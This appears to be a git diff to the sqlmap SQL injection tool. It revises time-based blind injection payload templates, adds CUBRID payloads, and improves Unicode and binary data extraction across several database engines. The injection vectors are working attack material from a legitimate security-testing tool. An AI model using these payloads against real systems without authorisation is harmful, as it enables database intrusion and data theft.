diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml
index 65d854c2332..3a774d15ad0 100644
--- a/data/xml/payloads/time_blind.xml
+++ b/data/xml/payloads/time_blind.xml
@@ -11,9 +11,9 @@
         <risk>1</risk>
         <clause>1,2,3,8,9</clause>
         <where>1</where>
-        <vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -31,9 +31,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -51,9 +51,9 @@
         <risk>1</risk>
         <clause>1,2,3,8,9</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
+        <vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
         <request>
-            <payload>AND SLEEP([SLEEPTIME])</payload>
+            <payload>AND !SLEEP([SLEEPTIME])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -71,9 +71,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
+        <vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
         <request>
-            <payload>OR SLEEP([SLEEPTIME])</payload>
+            <payload>OR !SLEEP([SLEEPTIME])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -91,9 +91,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
+        <vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
         <request>
-            <payload>AND SLEEP([SLEEPTIME])</payload>
+            <payload>AND !SLEEP([SLEEPTIME])</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -112,9 +112,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
+        <vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
         <request>
-            <payload>OR SLEEP([SLEEPTIME])</payload>
+            <payload>OR !SLEEP([SLEEPTIME])</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -133,9 +133,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -154,9 +154,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -339,9 +339,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
+        <vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
         <request>
-            <payload>RLIKE SLEEP([SLEEPTIME])</payload>
+            <payload>RLIKE !SLEEP([SLEEPTIME])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -359,9 +359,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
+        <vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
         <request>
-            <payload>RLIKE SLEEP([SLEEPTIME])</payload>
+            <payload>RLIKE !SLEEP([SLEEPTIME])</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -380,9 +380,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -400,9 +400,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -421,9 +421,9 @@
         <risk>1</risk>
         <clause>1,2,3,8,9</clause>
         <where>1</where>
-        <vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
+        <vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
+            <payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -441,9 +441,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
+        <vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
+            <payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -460,9 +460,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
+        <vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
+            <payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -480,9 +480,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
+        <vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
+            <payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -1092,6 +1092,45 @@
         </details>
     </test>
 
+    <test>
+        <title>CUBRID AND time-based blind (SLEEP)</title>
+        <stype>5</stype>
+        <level>1</level>
+        <risk>1</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <!-- db_root (Cubrid-only catalog) anchors SLEEP so it fires only on Cubrid, not on MySQL which also has SLEEP -->
+        <vector>AND [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
+        <request>
+            <payload>AND [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Cubrid</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>CUBRID OR time-based blind (SLEEP)</title>
+        <stype>5</stype>
+        <level>1</level>
+        <risk>1</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
+        <request>
+            <payload>OR [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Cubrid</dbms>
+        </details>
+    </test>
+
     <test>
         <title>Firebird &gt;= 2.0 AND time-based blind (heavy query)</title>
         <stype>5</stype>
@@ -1624,9 +1663,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
-        <vector>(CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
+        <vector>(CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
         <request>
-            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
+            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -1644,9 +1683,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
-        <vector>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -1704,9 +1743,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
-        <vector>([INFERENCE] AND SLEEP([SLEEPTIME]))</vector>
+        <vector>([INFERENCE] AND !SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))</payload>
+            <payload>([RANDNUM]=[RANDNUM] AND !SLEEP([SLEEPTIME]))</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -1723,9 +1762,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
-        <vector>ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
+        <vector>ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
+            <payload>ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -1742,9 +1781,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
-        <vector>MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))</vector>
+        <vector>MAKE_SET([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
+            <payload>MAKE_SET([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -2038,9 +2077,9 @@
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
-        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
+        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
         <request>
-            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
+            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index 6ac58b7f6df..9bf22bac181 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -440,8 +440,8 @@
 
    <dbms value="Firebird">
         <!--Firebird doesn't like big VARCHARs-->
-        <cast query="TRIM(CAST(%s AS VARCHAR(8000)))"/>
-        <length query="CHAR_LENGTH(TRIM(%s))"/>
+        <cast query="TRIM(TRAILING FROM CAST(%s AS VARCHAR(8000)))"/>
+        <length query="CHAR_LENGTH(TRIM(TRAILING FROM %s))"/>
         <delimiter query="||"/>
         <limit query="ROWS %d TO %d"/>
         <limitregexp query="\s+ROWS\s+([\d]+)(\s+TO\s+([\d]+))?"/>
@@ -626,7 +626,7 @@
     <dbms value="IBM DB2">
         <!-- VARCHAR(32672) (DB2 max), not CHAR(254) which silently truncated values >254 chars; RTRIM kept to strip CHAR-column blank padding (DB2 <v9, which lacked the VARCHAR cast, is long unsupported) -->
         <cast query="RTRIM(CAST(%s AS VARCHAR(32672)))"/>
-        <length query="LENGTH(RTRIM(CAST(%s AS VARCHAR(32672))))"/>
+        <length query="CHARACTER_LENGTH(RTRIM(CAST(%s AS VARCHAR(32672))),CODEUNITS32)"/>
         <isnull query="COALESCE(%s,' ')"/>
         <delimiter query="||"/>
         <limit query="ROW_NUMBER() OVER () AS CAP %s) AS qq WHERE CAP"/>
@@ -638,11 +638,11 @@
         <count query="COUNT(%s)"/>
         <comment query="--"/>
         <!-- TODO -->
-        <substring query="SUBSTR((%s),%d,%d)"/>
+        <substring query="SUBSTRING((%s),%d,%d,CODEUNITS32)"/>
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>
         <hex query="HEX(%s)"/>
-        <inference query="SUBSTR((%s),%d,1)>'%c'"/>
+        <inference query="SUBSTRING((%s),%d,1,CODEUNITS32)>'%c'"/>
         <!-- NOTE: We have to use the complicated UDB OLAP functions in query2 because sqlmap injects isnull query inside MAX function, else we would use: SELECT MAX(versionnumber) FROM sysibm.sysversions -->
         <banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS CAP,versionnumber FROM sysibm.sysversions) AS qq WHERE CAP=1"/>
         <current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
@@ -1026,7 +1026,7 @@
    </dbms>
 
     <dbms value="Vertica">
-        <cast query="CAST(%s AS CHARACTER(10000))"/>
+        <cast query="CAST(%s AS VARCHAR(10000))"/>
         <length query="LENGTH(%s)"/>
         <isnull query="COALESCE(%s,' ')"/>
         <delimiter query="||"/>
@@ -1159,7 +1159,7 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
         <hex query="TO_HEX(CAST(%s AS VARBINARY))"/>
-        <inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version="&gt;=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>
+        <inference query="CODEPOINT(CAST(SUBSTR((%s),%d,1) AS VARCHAR(1)))>%d" dbms_version="&gt;=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>
         <banner query="version()"/>
         <current_user query="CURRENT_USER"/>
         <current_db query="current_schema"/>
@@ -1347,6 +1347,7 @@
     <dbms value="ClickHouse">
         <cast query="CAST(%s AS Nullable(String))"/>
         <length query="length(%s)"/>
+        <hex query="hex(%s)"/>
         <isnull query="ifNull(%s, '')"/>
         <delimiter query="||"/>
         <limit query="LIMIT %d OFFSET %d"/>
diff --git a/lib/core/agent.py b/lib/core/agent.py
index c7aea8824d7..bb313dcc491 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -527,6 +527,12 @@ def nullAndCastField(self, field):
             else:
                 if hexRaw:
                     nulledCastedField = self.hexConvertField(field)
+                elif Backend.isDbms(DBMS.MYSQL) and kb.get("mysqlUtf8mb4"):
+                    # NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; utf8mb4 preserves them
+                    nulledCastedField = "CAST(%s AS CHAR CHARACTER SET utf8mb4)" % field
+                elif Backend.isDbms(DBMS.DERBY) and re.search(r"(?i)\bCOUNT\(", field):
+                    # Derby rejects CAST(INTEGER AS VARCHAR); route the numeric COUNT through a CHAR intermediate
+                    nulledCastedField = rootQuery.cast.query % ("CAST(%s AS CHAR(254))" % field)
                 elif not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
                     nulledCastedField = rootQuery.cast.query % field
 
diff --git a/lib/core/common.py b/lib/core/common.py
index ab5edf895df..ef3b2936449 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -4001,8 +4001,9 @@ def decodeIntToUnicode(value):
                     retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
                 elif Backend.isDbms(DBMS.MSSQL):
                     # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
-                    retVal = getUnicode(raw, "UTF-16-BE")
-                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):     # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
+                    # supplementary codepoints (>0xFFFF, _SC collations) aren't 2-byte UTF-16; decode direct
+                    retVal = _unichr(value) if value > 0xFFFF else getUnicode(raw, "UTF-16-BE")
+                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.PRESTO, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.MONETDB, DBMS.VERTICA):     # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
                     retVal = _unichr(value)
                 else:
                     retVal = getUnicode(raw, conf.encoding)
diff --git a/lib/core/enums.py b/lib/core/enums.py
index aa8cc4e6561..6249b42efa6 100644
--- a/lib/core/enums.py
+++ b/lib/core/enums.py
@@ -305,6 +305,7 @@ class OPTION_TYPE(object):
 class HASHDB_KEYS(object):
     DBMS = "DBMS"
     DBMS_FORK = "DBMS_FORK"
+    MYSQL_UTF8MB4 = "MYSQL_UTF8MB4"
     CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
     CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS"
     CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT"
diff --git a/lib/core/option.py b/lib/core/option.py
index 4c92f0e264e..b1aa4e4bd83 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -2281,6 +2281,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.maxConnectionsFlag = False
     kb.trueLength = None
     kb.mergeCookies = None
+    kb.mysqlUtf8mb4 = None
     kb.multiThreadMode = False
     kb.multipleCtrlC = False
     kb.negativeLogic = False
diff --git a/lib/core/settings.py b/lib/core/settings.py
index bc16079aa82..e16bd71ce56 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty import six
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.10.7.198"
+VERSION = "1.10.7.210"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -934,6 +934,10 @@
 # column names (not types) were fetched - i.e. blind dumping (keep in sync with BINARY_FIELDS_TYPE_REGEX)
 BINARY_FIELDS_TYPE_KEYWORDS = ("BINARY", "BLOB", "BYTEA", "IMAGE", "RAW")
 
+# MySQL-only: BIT and spatial (WKB) columns store raw bytes that the NCHAR text-cast silently NULLs, so they
+# must be hex-extracted too (MSSQL/PostgreSQL 'bit' render fine as 0/1 or a bit-string, hence not global)
+MYSQL_BINARY_CAST_TYPE_REGEX = r"(?i)\A(bit|geometry|point|linestring|polygon|multipoint|multilinestring|multipolygon|geomcollection|geometrycollection)\b"
+
 # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce
 MAX_SINGLE_URL_REDIRECTIONS = 4
 
diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py
index bb449c3d5fc..95f618c3d6e 100644
--- a/lib/techniques/blind/inference.py
+++ b/lib/techniques/blind/inference.py
@@ -672,8 +672,8 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None,
                 shiftTable = None
             elif continuousOrder and shiftTable is None:
                 # Used for gradual expanding into unicode charspace (Note: leading value covers MySQL's
-                # 3-byte ORD() range up to 0xEFBFBF, restoring CJK/non-Latin extraction - see issue #5171)
-                shiftTable = [4, 2, 2, 3, 3, 3]
+                # 4-byte ORD() range for emoji/supplementary-plane, then 3-byte for CJK - see issue #5171)
+                shiftTable = [8, 4, 2, 2, 3, 3, 3]
 
             if "'%s'" % CHAR_INFERENCE_MARK in payload:
                 for char in ('\n', '\r'):
diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py
index 7ba5c8b9f38..2dd6088a662 100644
--- a/plugins/dbms/db2/syntax.py
+++ b/plugins/dbms/db2/syntax.py
@@ -5,7 +5,8 @@
 See the file 'LICENSE' for copying permission
 """
 
-from lib.core.convert import getOrds
+from lib.core.convert import getBytes
+from lib.core.settings import UNICODE_ENCODING
 from plugins.generic.syntax import Syntax as GenericSyntax
 
 class Syntax(GenericSyntax):
@@ -17,6 +18,13 @@ def escape(expression, quote=True):
         """
 
         def escaper(value):
-            return "||".join("CHR(%d)" % _ for _ in getOrds(value))
+            # CHR() is byte-based on DB2, so a non-ASCII codepoint needs its UTF-8 bytes to form a single char
+            result = []
+            for char in value:
+                if ord(char) < 128:
+                    result.append("CHR(%d)" % ord(char))
+                else:
+                    result.extend("CHR(%d)" % _ for _ in bytearray(getBytes(char, UNICODE_ENCODING, errors="replace", unsafe=False)))
+            return "||".join(result)
 
         return Syntax._escape(expression, quote, escaper)
diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py
index e3fcb1cf6fa..f6e1d6600c7 100644
--- a/plugins/dbms/mysql/fingerprint.py
+++ b/plugins/dbms/mysql/fingerprint.py
@@ -95,6 +95,14 @@ def _commentCheck(self):
 
         return None
 
+    def _checkUtf8mb4(self):
+        # NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; cache whether utf8mb4 works ('' if not)
+        kb.mysqlUtf8mb4 = hashDBRetrieve(HASHDB_KEYS.MYSQL_UTF8MB4)
+
+        if kb.mysqlUtf8mb4 is None:
+            kb.mysqlUtf8mb4 = "utf8mb4" if inject.checkBooleanExpression("[RANDNUM]=CONVERT([RANDNUM] USING utf8mb4)") else ""
+            hashDBWrite(HASHDB_KEYS.MYSQL_UTF8MB4, kb.mysqlUtf8mb4)
+
     def getFingerprint(self):
         fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
 
@@ -118,6 +126,8 @@ def getFingerprint(self):
 
             hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)
 
+        self._checkUtf8mb4()
+
         value = ""
         wsOsFp = Format.getOs("web server", kb.headersFp)
 
diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py
index ac34a5ab1fb..0c8a2f289f8 100644
--- a/plugins/generic/entries.py
+++ b/plugins/generic/entries.py
@@ -41,6 +41,7 @@
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapUnsupportedFeatureException
 from lib.core.settings import BINARY_FIELDS_TYPE_REGEX
+from lib.core.settings import MYSQL_BINARY_CAST_TYPE_REGEX
 from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
 from lib.core.settings import CURRENT_DB
 from lib.core.settings import KEYSET_MIN_ROWS
@@ -178,7 +179,8 @@ def dumpTable(self, foundData=None):
                 # type is already known from the enumeration above, so this costs no extra request.
                 # (PostgreSQL excluded: its bytea already renders as readable '\xHEX' through the default text
                 # cast, and its hex path needs text input, so auto-hexing would double-encode.)
-                autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column]))]
+                # MySQL BIT/spatial store raw bytes the NCHAR text-cast NULLs (unlike MSSQL/PostgreSQL 'bit', which render fine), so hex them too
+                autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and (re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column])) or (Backend.isDbms(DBMS.MYSQL) and re.search(MYSQL_BINARY_CAST_TYPE_REGEX, getUnicode(columns[column]))))]
                 conf.binaryFields = (list(binaryFields) if binaryFields else []) + [_ for _ in autoBinary if not (binaryFields and _ in binaryFields)]
                 if autoBinary:
                     debugMsg = "auto-treating binary column(s) '%s' as binary fields" % ', '.join(unsafeSQLIdentificatorNaming(_) for _ in autoBinary)
diff --git a/tests/test_agent.py b/tests/test_agent.py
index 211fbb7fd8a..12d7a179cdb 100644
--- a/tests/test_agent.py
+++ b/tests/test_agent.py
@@ -108,6 +108,7 @@
 # hexConvertField: dialects that DO have a hex function, mapped to its token.
 HEX_FUNCTION = {
     "Altibase": "HEX_ENCODE(",
+    "ClickHouse": "hex(",
     "Cubrid": "HEX(",
     "H2": "RAWTOHEX(",
     "IBM DB2": "HEX(",